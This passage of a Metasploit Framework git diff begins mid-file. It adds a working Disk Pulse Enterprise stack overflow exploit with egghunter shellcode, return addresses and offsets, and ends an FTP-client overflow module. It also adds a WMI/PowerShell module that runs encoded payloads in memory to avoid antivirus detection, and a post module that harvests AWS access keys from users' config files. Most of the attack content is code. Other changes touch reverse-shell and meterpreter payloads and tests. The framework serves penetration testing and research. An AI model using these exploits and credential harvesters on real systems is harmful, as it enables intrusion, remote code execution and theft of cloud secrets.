0)) + end + + def on_client_unknown_command(c, _cmd, _arg) + c.put("200 OK\r\n") + end + + def on_client_connect(c) + print_status("Client connected...") + + sploit = rand_text(target['Offset']) + sploit << [target.ret].pack('V') + sploit << make_nops(10) + sploit << payload.encoded + sploit << make_nops(20) + + c.put("220" + sploit + "\r\n") + c.close + end + +end diff --git a/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb b/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb new file mode 100644 index 0000000000..ec8e271c6a --- /dev/null +++ b/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb @@ -0,0 +1,120 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::Egghunter + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Disk Pulse Enterprise Login Buffer Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in Disk Pulse Enterprise + 9.0.34. If a malicious user sends a malicious HTTP login request, + it is possible to execute a payload that would run under the Windows + NT AUTHORITY\SYSTEM account. Due to size constraints, this module + uses the Egghunter technique. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Chris Higgins', # msf Module -- @ch1gg1ns + 'Tulpa Security' # Original discovery -- @tulpa_security + ], + 'References' => + [ + [ 'EDB', '40452' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d\x26" + }, + 'Targets' => + [ + [ 'Disk Pulse Enterprise 9.0.34', + { + 'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll + 'Offset' => 12600 + } + ], + ], + 'Privileged' => true, + 'DisclosureDate' => 'Oct 03 2016', + 'DefaultTarget' => 0)) + + register_options([Opt::RPORT(80)], self.class) + + end + + def check + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + + if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.0\.34/ + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe + end + + def exploit + connect + eggoptions = + { + :checksum => true, + :eggtag => "w00t" + } + + print_status("Generating exploit...") + + sploit = "username=admin" + sploit << "&password=aaaaa\r\n" + + # Would like to use generate_egghunter(), looking for improvement + egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" + egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" + + sploit << rand_text(target['Offset'] - payload.encoded.length) + sploit << "w00tw00t" + sploit << payload.encoded + sploit << make_nops(70) + sploit << rand_text(1614) + # Would like to use generate_seh_record(), looking for improvement + sploit << "\x90\x90\xEB\x0B" + sploit << "\x33\xA3\x01\x10" + sploit << make_nops(20) + sploit << egghunter + sploit << make_nops(7000) + + # Total exploit size should be 21747 + print_status("Total exploit size: " + sploit.length.to_s) + print_status("Triggering the exploit now...") + print_status("Please be patient, the egghunter may take a while...") + + res = send_request_cgi({ + 'uri' => '/login', + 'method' => 'POST', + 'content-type' => 'application/x-www-form-urlencoded', + 'content-length' => '17000', + 'data' => sploit + }) + + handler + disconnect + + end +end diff --git a/modules/exploits/windows/local/panda_psevents.rb b/modules/exploits/windows/local/panda_psevents.rb index dc7f21d50b..fefa7d78f4 100644 --- a/modules/exploits/windows/local/panda_psevents.rb +++ b/modules/exploits/windows/local/panda_psevents.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Local 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], - [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { diff --git a/modules/exploits/windows/local/ps_wmi_exec.rb b/modules/exploits/windows/local/ps_wmi_exec.rb new file mode 100644 index 0000000000..24807416dc --- /dev/null +++ b/modules/exploits/windows/local/ps_wmi_exec.rb @@ -0,0 +1,188 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/post/windows/powershell' +require 'msf/core/post/windows/priv' +require 'msf/core/exploit/powershell/dot_net' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Windows::Powershell + include Msf::Exploit::Powershell::DotNet + include Msf::Post::Windows::Priv + + def initialize(info={}) + super(update_info(info, + 'Name' => "Authenticated WMI Exec via Powershell", + 'Description' => %q{ + This module uses WMI execution to launch a payload instance on a remote machine. + In order to avoid AV detection, all execution is performed in memory via psh-net + encoded payload. Persistence option can be set to keep the payload looping while + a handler is present to receive it. By default the module runs as the current + process owner. The module can be configured with credentials for the remote host + with which to launch the process. + }, + 'License' => MSF_LICENSE, + 'Author' => 'RageLtMan ', + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Payload' => { 'Space' => 8192 }, + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Universal', {} ] ], + 'DefaultTarget' => 0, + 'DisclosureDate'=> "Aug 19 2012" + + )) + + register_options( + [ + OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]), + OptString.new('USERNAME', [false, "Username to authenticate as"]), + OptString.new('PASSWORD', [false, "Password to authenticate with"]), + OptString.new('DOMAIN', [false, "Domain or machine name"]), + + ], self.class) + + register_advanced_options( + [ + OptBool.new('PowerShellPersist', [false, 'Run the payload in a loop']), + OptBool.new('RunRemoteWow64', [ + false, + 'Execute powershell in 32bit compatibility mode, payloads need native arch', + false + ]), + + ], self.class) + + end + + def build_script + run_opts = {} + run_opts[:username] = datastore['USERNAME'] + run_opts[:domain] = datastore['DOMAIN'] || '.' + run_opts[:password] = datastore['PASSWORD'] + + # End of file marker + eof = Rex::Text.rand_text_alpha(8) + env_suffix = Rex::Text.rand_text_alpha(8) + + # Create base64 encoded payload + psh_payload_raw = Msf::Util::EXE.to_win32pe_psh_reflection(framework, payload.raw) + if datastore['PowerShellPersist'] + fun_name = Rex::Text.rand_text_alpha(rand(2)+2) + sleep_time = rand(5)+5 + psh_payload = "function #{fun_name}{#{psh_payload}};while(1){Start-Sleep -s #{sleep_time};#{fun_name};1}" + end + psh_payload = compress_script(psh_payload_raw, eof) + # WMI exec function - this is going into powershell.rb after pull 701 is commited + script = ps_wmi_exec(run_opts) + # Build WMI exec calls to every host into the script to reduce PS instances + # Need to address arch compat issue here, check powershell.exe arch, check pay arch + # split the hosts into wow64 and native, and run each range separately + ps_bin = datastore['RunRemoteWow64'] ? 'cmd /c %windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' + # for whatever reason, passing %systemroot% instead of 'C:\windows' fails + + if datastore["RHOSTS"] + # Iterate through our hosts list adding a call to the WMI wrapper for each. + # This should learn to differentiate between hosts and call WOW64 as appropriate, + # as well as putting the payload into a variable when many hosts are hit so the + # uploaded script is not bloated since each encoded payload is bulky. + + Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |host| + if run_opts[:username] and run_opts[:password] + script << " New-RemoteProcess -rhost \"#{host}\" -login \"#{run_opts[:domain]}\\#{run_opts[:username]}\"" + script << " -pass '#{run_opts[:password]}' -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";" + else + script << " New-RemoteProcess -rhost \"#{host}\" -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";" + end + end + else + print_status('Running Locally') + script = psh_payload_raw + end + return script + end + + def exploit + # Make sure we meet the requirements before running the script + unless have_powershell? + fail_with(Failure::BadConfig, 'PowerShell not found') + end + + + # SYSTEM doesnt have credentials on remote hosts + if is_system? and datastore['RHOSTS'] + print_error("Cannot run as local system on remote hosts") + return 0 + end + + script = build_script + + if datastore['Powershell::Post::dry_run'] + print_good script + return + end + + begin + psh_output = datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false) + print_good(psh_output) + rescue Rex::TimeoutError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + end + + vprint_good('PSH WMI exec is complete.') + end + + # Wrapper function for instantiating a WMI win32_process + # class object in powershell. + # Insantiates the [wmiclass] object and configures the scope + # Sets impersonation level and injects credentials as needed + # Configures application startup options to hide the newly + # created window. Adds start-up check for remote proc. + def ps_wmi_exec(opts = {}) + + ps_wrapper = < [ [ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ], - [ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X86_64 } ] + [ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 06 2016' diff --git a/modules/nops/mipsbe/better.rb b/modules/nops/mipsbe/better.rb new file mode 100644 index 0000000000..1b2ad61986 --- /dev/null +++ b/modules/nops/mipsbe/better.rb @@ -0,0 +1,108 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +### +# +# MixedNop +# ---------- +# +# This class implements a mixed NOP generator for MIPS (big endian) +# +### +class MetasploitModule < Msf::Nop + + + def initialize + super( + 'Name' => 'Better', + 'Alias' => 'mipsbe_better', + 'Description' => 'Better NOP generator', + 'Author' => 'jm', + 'License' => MSF_LICENSE, + 'Arch' => ARCH_MIPSBE) + + register_advanced_options( + [ + OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ]) + ], self.class) + end + + def get_register() + return rand(27) + 1 + end + + def make_bne(reg) + op = 0x14000000 + + reg = get_register() + offset = rand(65536) + + op = op | ( reg << 21 ) | ( reg << 16 ) | offset + return op + end + + def make_or(reg) + op = 0x00000025 + + op = op | ( reg << 21 ) | ( reg << 11 ) + return op + end + + def make_sll(reg) + op = 0x00000000 + + op = op | ( reg << 16 ) | ( reg << 11 ) + return op + end + + def make_sra(reg) + op = 0x00000003 + + op = op | ( reg << 16 ) | ( reg << 11 ) + return op + end + + def make_srl(reg) + op = 0x00000002 + + op = op | ( reg << 16 ) | ( reg << 11 ) + return op + end + + def make_xori(reg) + op = 0x38000000 + + op = op | ( reg << 21 ) | ( reg << 16 ) + return op + end + + def make_ori(reg) + op = 0x34000000 + + op = op | ( reg << 21 ) | ( reg << 16 ) + return op + end + + def generate_sled(length, opts) + + badchars = opts['BadChars'] || '' + random = opts['Random'] || datastore['RandomNops'] + nop_fn = [ :make_bne, :make_or, :make_sll, :make_sra, :make_srl, :make_xori, :make_ori ] + sled = '' + + for i in 1..length/4 do + n = nop_fn.sample + sled << [send(n, get_register())].pack("N*") + end + + return sled + end + +end + diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb index eb6bd4c53b..b871e28be5 100644 --- a/modules/payloads/singles/cmd/windows/reverse_powershell.rb +++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module MetasploitModule - CachedSize = 1204 + CachedSize = 1228 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions @@ -81,7 +81,8 @@ module MetasploitModule "while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\ "$r=$s.Read($nb,$pos,$nb.Length - $pos);"\ "$pos+=$r;"\ - "if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}};"\ + "if (-not $pos -or $pos -eq 0) {RSC};"\ + "if ($nb[0..$($pos-1)] -contains 10) {break}};"\ "if ($pos -gt 0){"\ "$str=$e.GetString($nb,0,$pos);"\ "$is.write($str);start-sleep 1;"\ diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 1f7db24363..1ccca94c20 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_options' module MetasploitModule - CachedSize = 26803 + CachedSize = 27144 include Msf::Payload::Single include Msf::Payload::Php::ReverseTcp diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index b61383ed87..93965b0498 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51314 + CachedSize = 51742 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index 06549b643c..5bd77f3caa 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51274 + CachedSize = 51706 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index e35d847a1c..9cf343f1d7 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51278 + CachedSize = 51706 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index bfa54dbdcc..6356e7ad02 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51230 + CachedSize = 51662 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/stages/linux/armle/mettle.rb b/modules/payloads/stages/linux/armle/mettle.rb index 89792efc77..99d79d3db3 100644 --- a/modules/payloads/stages/linux/armle/mettle.rb +++ b/modules/payloads/stages/linux/armle/mettle.rb @@ -79,7 +79,9 @@ module MetasploitModule conn.put(midstager) == midstager.length end - def generate_stage(_opts = {}) - MetasploitPayloads::Mettle.read('armv5l-linux-musleabi', 'mettle.bin') + def generate_stage(opts = {}) + opts[:uuid] ||= generate_payload_uuid + MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', opts.slice(:uuid, :url, :debug, :log_file)). + to_bininary :process_image end end diff --git a/modules/payloads/stages/linux/mipsbe/mettle.rb b/modules/payloads/stages/linux/mipsbe/mettle.rb index a8e44b2ec3..746c6ad28f 100644 --- a/modules/payloads/stages/linux/mipsbe/mettle.rb +++ b/modules/payloads/stages/linux/mipsbe/mettle.rb @@ -90,7 +90,9 @@ module MetasploitModule conn.put(midstager) == midstager.length end - def generate_stage(_opts = {}) - MetasploitPayloads::Mettle.read('mips-linux-muslsf', 'mettle.bin') + def generate_stage(opts = {}) + opts[:uuid] ||= generate_payload_uuid + MetasploitPayloads::Mettle.new('mips-linux-muslsf', opts.slice(:uuid, :url, :debug, :log_file)). + to_binary :process_image end end diff --git a/modules/payloads/stages/linux/mipsle/mettle.rb b/modules/payloads/stages/linux/mipsle/mettle.rb index d49c92016e..1f0b1789d9 100644 --- a/modules/payloads/stages/linux/mipsle/mettle.rb +++ b/modules/payloads/stages/linux/mipsle/mettle.rb @@ -90,7 +90,9 @@ module MetasploitModule conn.put(midstager) == midstager.length end - def generate_stage(_opts = {}) - MetasploitPayloads::Mettle.read('mipsel-linux-muslsf', 'mettle.bin') + def generate_stage(opts = {}) + opts[:uuid] ||= generate_payload_uuid + MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', opts.slice(:uuid, :url, :debug, :log_file)). + to_binary :process_image end end diff --git a/modules/payloads/stages/linux/x64/mettle.rb b/modules/payloads/stages/linux/x64/mettle.rb index 5c09b4d14b..215425660a 100644 --- a/modules/payloads/stages/linux/x64/mettle.rb +++ b/modules/payloads/stages/linux/x64/mettle.rb @@ -87,7 +87,9 @@ module MetasploitModule conn.put(midstager) == midstager.length end - def generate_stage(_opts = {}) - MetasploitPayloads::Mettle.read('x86_64-linux-musl', 'mettle.bin') + def generate_stage(opts = {}) + opts[:uuid] ||= generate_payload_uuid + MetasploitPayloads::Mettle.new('x86_64-linux-musl', opts.slice(:uuid, :url, :debug, :log_file)). + to_binary :process_image end end diff --git a/modules/payloads/stages/linux/x86/mettle.rb b/modules/payloads/stages/linux/x86/mettle.rb index 2b70f7892c..fa765093ce 100644 --- a/modules/payloads/stages/linux/x86/mettle.rb +++ b/modules/payloads/stages/linux/x86/mettle.rb @@ -90,7 +90,9 @@ module MetasploitModule conn.put(midstager) == midstager.length end - def generate_stage(_opts = {}) - MetasploitPayloads::Mettle.read('i486-linux-musl', 'mettle.bin') + def generate_stage(opts = {}) + opts[:uuid] ||= generate_payload_uuid + MetasploitPayloads::Mettle.new('i486-linux-musl', opts.slice(:uuid, :url, :debug, :log_file)). + to_binary :process_image end end diff --git a/modules/post/multi/gather/aws_keys.rb b/modules/post/multi/gather/aws_keys.rb new file mode 100644 index 0000000000..c76815ab40 --- /dev/null +++ b/modules/post/multi/gather/aws_keys.rb @@ -0,0 +1,96 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Post + include Msf::Post::File + include Msf::Post::Unix + + AWS_KEY = 'AWS_ACCESS_KEY_ID' + AWS_SECRET = 'AWS_SECRET_ACCESS_KEY' + S3_KEY = 'access_key' + S3_SECRET = 'secret_key' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'UNIX Gather AWS Keys', + 'Description' => %q( + This module will attempt to read AWS configuration files + (.aws/config, .aws//credentials and .s3cfg) for users discovered + on the session'd system and extract AWS keys from within. + ), + 'License' => MSF_LICENSE, + 'Author' => [ 'Jon Hart ' ], + 'SessionTypes' => %w(shell meterpreter), + 'References' => [ + [ 'URL', 'http://s3tools.org/kb/item14.htm' ], + [ 'URL', 'http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#cli-config-files' ] + ] + ) + ) + end + + def get_aws_keys(config_file) + keys_data = [] + config_s = cmd_exec("test -r #{config_file} && cat #{config_file}") + return keys_data if config_s.empty? + aws_config = Rex::Parser::Ini.from_s(config_s) + aws_config.each_key do |profile| + # XXX: Ini assumes anything on either side of the = is the key and value + # including spaces, so we need to fix this + profile_config = Hash[aws_config[profile].map { |k, v| [ k.strip, v.strip ] }] + aws_access_key_id = nil + aws_secret_access_key = nil + profile_config.each_pair do |key, value| + if key == AWS_KEY.downcase || key == S3_KEY + aws_access_key_id = value + end + + if key == AWS_SECRET.downcase || key == S3_SECRET + aws_secret_access_key = value + end + end + next unless aws_access_key_id || aws_secret_access_key + keys_data << [ config_file, aws_access_key_id, aws_secret_access_key, profile ] + end + + keys_data + end + + def get_keys_from_files + keys_data = [] + vprint_status("Enumerating possible user AWS config files") + # build up a list of aws configuration files to read, including the + # configuration files that may exist (rare) + enum_user_directories.map do |user_dir| + vprint_status("Looking for AWS config/credentials files in #{user_dir}") + %w(.aws/config .aws/credentials .s3cfg).each do |possible_key_file| + this_key_data = get_aws_keys(::File.join(user_dir, possible_key_file)) + next if this_key_data.empty? + keys_data <<= this_key_data.flatten + end + end + keys_data + end + + def run + keys_data = get_keys_from_files + return if keys_data.empty? + + keys_table = Rex::Text::Table.new( + 'Header' => "AWS Key Data", + 'Columns' => [ 'Source', AWS_KEY, AWS_SECRET, 'Profile' ] + ) + + keys_data.each do |key_data| + keys_table << key_data + end + + print_line(keys_table.to_s) + end +end diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index c64d5b08e4..851011b66c 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -116,7 +116,7 @@ class MetasploitModule < Msf::Post vprint_status("Platform: Python [fallback]") end end - payload_name = datastore['PAYLOAD_OVERWRITE'] if datastore['PAYLOAD_OVERWRITE'] + payload_name = datastore['PAYLOAD_OVERRIDE'] if datastore['PAYLOAD_OVERRIDE'] vprint_status("Upgrade payload: #{payload_name}") if platform.blank? @@ -141,7 +141,7 @@ class MetasploitModule < Msf::Post case platform when 'windows' if session.type == 'powershell' - template_path = File.join(Msf::Config.data_directory, 'templates', 'scripts') + template_path = Rex::Powershell::Templates::TEMPLATE_DIR psh_payload = case datastore['Powershell::method'] when 'net' Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data) diff --git a/plugins/nexpose.rb b/plugins/nexpose.rb index 56b0bd1830..00c1173bc1 100644 --- a/plugins/nexpose.rb +++ b/plugins/nexpose.rb @@ -520,7 +520,14 @@ class Plugin::Nexpose < Msf::Plugin print_status(" >> Created temporary report configuration ##{report.config_id}") if opt_verbose # Run the scan - res = site.scanSite() + begin + res = site.scanSite() + rescue Nexpose::APIError => e + nexpose_error_message = e.message + nexpose_error_message.gsub!(/NexposeAPI: Action failed: /, '') + print_error "#{nexpose_error_message}" + return + end sid = res[:scan_id] print_status(" >> Scan has been launched with ID ##{sid}") if opt_verbose diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb index d792b31f02..402ee98d67 100644 --- a/spec/lib/msf/core/exploit/powershell_spec.rb +++ b/spec/lib/msf/core/exploit/powershell_spec.rb @@ -165,7 +165,7 @@ RSpec.describe Msf::Exploit::Powershell do context 'when x64 payload' do it 'should generate code' do - code = subject.run_hidden_psh(payload, 'x86_64', encoded) + code = subject.run_hidden_psh(payload, 'x64', encoded) expect(code.include?('sysnative')).to be_truthy end end diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index f64bd91c9c..2c5736065a 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -642,7 +642,7 @@ RSpec.describe Msf::PayloadGenerator do let(:generator_opts) { { add_code: File.join(FILE_FIXTURES_PATH, "nop_shellcode.bin"), - arch: 'x86_64', + arch: 'x64', badchars: "\x20\x0D\x0A", encoder: 'x86/shikata_ga_nai', datastore: { 'LHOST' => '192.168.172.1', 'LPORT' => '8443' } , @@ -759,7 +759,7 @@ RSpec.describe Msf::PayloadGenerator do let(:generator_opts) { { add_code: false, - arch: 'x86_64', + arch: 'x64', badchars: '', encoder: 'x86/shikata_ga_nai', datastore: { 'LHOST' => '192.168.172.1', 'LPORT' => '8443' } , diff --git a/spec/lib/msf/core/post/windows/mssql_spec.rb b/spec/lib/msf/core/post/windows/mssql_spec.rb index 263e7e236d..ba13a716ea 100644 --- a/spec/lib/msf/core/post/windows/mssql_spec.rb +++ b/spec/lib/msf/core/post/windows/mssql_spec.rb @@ -7,7 +7,8 @@ RSpec.describe Msf::Post::Windows::MSSQL do let(:subject) do mod = double(Module.new) mod.extend described_class - stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error, :print_warning ] + stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, + :print_error, :vprint_error, :print_bad, :vprint_bad, :print_warning ] stubs.each { |meth| allow(mod).to receive(meth) } allow(mod).to receive(:service_info).and_return({}) mod diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index c8aedfe8d2..6c6d298a13 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -36,7 +36,8 @@ RSpec.describe Msf::Post::Windows::Runas do let(:subject) do mod = double(Module.new) mod.extend described_class - stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ] + stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, + :print_error, :vprint_error, :print_bad, :vprint_bad ] stubs.each { |meth| allow(mod).to receive(meth) } allow(mod).to receive_message_chain("session.railgun.kernel32").and_return(kernel32) allow(mod).to receive_message_chain("session.railgun.advapi32").and_return(advapi32) diff --git a/spec/support/shared/contexts/msf/ui_driver.rb b/spec/support/shared/contexts/msf/ui_driver.rb index e05588d053..23e183ac55 100644 --- a/spec/support/shared/contexts/msf/ui_driver.rb +++ b/spec/support/shared/contexts/msf/ui_driver.rb @@ -17,6 +17,10 @@ RSpec.shared_context 'Msf::UIDriver' do @error ||= [] @error.concat string.split("\n") end + allow(driver).to receive(:print_bad).with(kind_of(String)) do |string| + @error ||= [] + @error.concat string.split("\n") + end } end end diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index 00b5f9269c..dab5c51caa 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -426,7 +426,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do it { expect(subject.last_seen).to be_within(1.second).of(Time.now.utc) } it { expect(subject.local_id).to eq(session.sid) } it { expect(subject.opened_at).to be_within(1.second).of(Time.now.utc) } - it { expect(subject.platform).to eq(session.platform) } + it { expect(subject.platform).to eq(session.session_type) } it { expect(subject.routes).to eq([]) } it { expect(subject.stype).to eq(session.type) } it { expect(subject.via_payload).to eq(session.via_payload) } @@ -769,7 +769,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do it { expect(subject.last_seen).to be_within(1.second).of(Time.now.utc) } it { expect(subject.local_id).to eq(session.sid) } it { expect(subject.opened_at).to be_within(1.second).of(Time.now.utc) } - it { expect(subject.platform).to eq(session.platform) } + it { expect(subject.platform).to eq(session.session_type) } it { expect(subject.routes).to eq([]) } it { expect(subject.stype).to eq(session.type) } it { expect(subject.via_payload).to eq(session.via_payload) } diff --git a/spec/support/shared/examples/msf/module/ui/message.rb b/spec/support/shared/examples/msf/module/ui/message.rb index 7537c353b9..e8b8f96de8 100644 --- a/spec/support/shared/examples/msf/module/ui/message.rb +++ b/spec/support/shared/examples/msf/module/ui/message.rb @@ -2,8 +2,9 @@ RSpec.shared_examples_for 'Msf::Module::UI::Message' do it_should_behave_like 'Msf::Module::UI::Message::Verbose' it { is_expected.to respond_to :print_error } + it { is_expected.to respond_to :print_bad } it { is_expected.to respond_to :print_good } it { is_expected.to respond_to :print_prefix } it { is_expected.to respond_to :print_status } it { is_expected.to respond_to :print_warning } -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/module/ui/message/verbose.rb b/spec/support/shared/examples/msf/module/ui/message/verbose.rb index 7a7bf2025a..6bff0f99ae 100644 --- a/spec/support/shared/examples/msf/module/ui/message/verbose.rb +++ b/spec/support/shared/examples/msf/module/ui/message/verbose.rb @@ -1,6 +1,7 @@ RSpec.shared_examples_for 'Msf::Module::UI::Message::Verbose' do it { is_expected.to respond_to :vprint_error } + it { is_expected.to respond_to :vprint_bad } it { is_expected.to respond_to :vprint_good } it { is_expected.to respond_to :vprint_status } it { is_expected.to respond_to :vprint_warning } -end \ No newline at end of file +end diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index a2f8f2e62e..f61892baa2 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -684,6 +684,15 @@ class Msftidy end end + # Check for modules using the deprecated architectures + # + # @see https://github.com/rapid7/metasploit-framework/pull/7507 + def check_arch + if @source =~ /ARCH_X86_64/ + error('Please don\'t use the ARCH_X86_64 architecture, use ARCH_X64 instead') + end + end + # # Run all the msftidy checks. # @@ -717,6 +726,7 @@ class Msftidy check_print_debug check_register_datastore_debug check_use_datastore_debug + check_arch end private